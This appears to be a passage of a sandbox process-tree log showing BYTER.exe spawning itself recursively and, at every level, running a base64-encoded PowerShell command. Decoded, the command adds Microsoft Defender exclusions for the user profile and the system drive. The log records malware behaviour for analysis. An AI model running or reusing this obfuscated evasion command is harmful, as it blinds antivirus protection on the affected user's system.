        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        54⤵
        
        PID:6596
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        55⤵
        
        PID:2744
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        55⤵
        
        PID:6944
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        56⤵
        
        PID:2120
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        56⤵
        
        PID:6988
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        57⤵
        
        PID:1900
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        57⤵
        
        PID:6488
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        58⤵
        
        PID:7104
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        58⤵
        
        PID:6272
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        59⤵
        
        PID:6880
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        59⤵
        
        PID:6508
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        60⤵
        
        PID:6760
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        60⤵
        
        PID:5344
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        61⤵
        
        PID:5136
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        61⤵
        
        PID:4836
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        62⤵
        
        PID:2596
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        62⤵
        
        PID:6452
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        63⤵
        
        PID:5088
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        63⤵
        
        PID:7040
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        64⤵
        
        PID:1384
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        64⤵
        
        PID:5480
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        65⤵
        
        PID:1096
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        65⤵
        
        PID:5168
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        66⤵
        
        PID:2376
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        66⤵
        
        PID:4640
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        67⤵
        
        PID:5420
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        67⤵
        
        PID:5256
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        68⤵
        
        PID:3492
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        68⤵
        
        PID:5244
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        69⤵
        
        PID:4008
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        69⤵
        
        PID:6428
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        70⤵
        
        PID:3404
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        70⤵
        
        PID:2384
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        71⤵
        
        PID:1820
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        71⤵
        
        PID:5872
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        72⤵
        
        PID:2544
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        72⤵
        
        PID:6656
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        73⤵
        
        PID:2312
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        73⤵
        
        PID:5364
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        74⤵
        
        PID:1516
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        74⤵
        
        PID:3448
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        75⤵
        
        PID:6352
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        76⤵
        
        PID:4952
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        75⤵
        
        PID:5068
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        76⤵
        
        PID:5356
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        76⤵
        
        PID:4188
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        77⤵
        
        PID:5920
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        77⤵
        
        PID:6444
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        78⤵
        
        PID:3676
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        78⤵
        
        PID:5616
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        79⤵
        
        PID:3432
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        79⤵
        
        PID:5200
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        80⤵
        
        PID:2520
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        80⤵
        
        PID:2472
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        81⤵
        
        PID:2044
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        81⤵
        
        PID:1164
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        82⤵
        
        PID:6240
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        82⤵
        
        PID:6856
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        83⤵
        
        PID:3224
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        83⤵
        
        PID:6436
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        84⤵
        
        PID:2828
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        84⤵
        
        PID:6272
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        85⤵
        
        PID:2596
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        85⤵
        
        PID:5344
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        86⤵
        
        PID:3660
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        86⤵
        
        PID:5504
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        87⤵
        
        PID:6292
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        87⤵
        
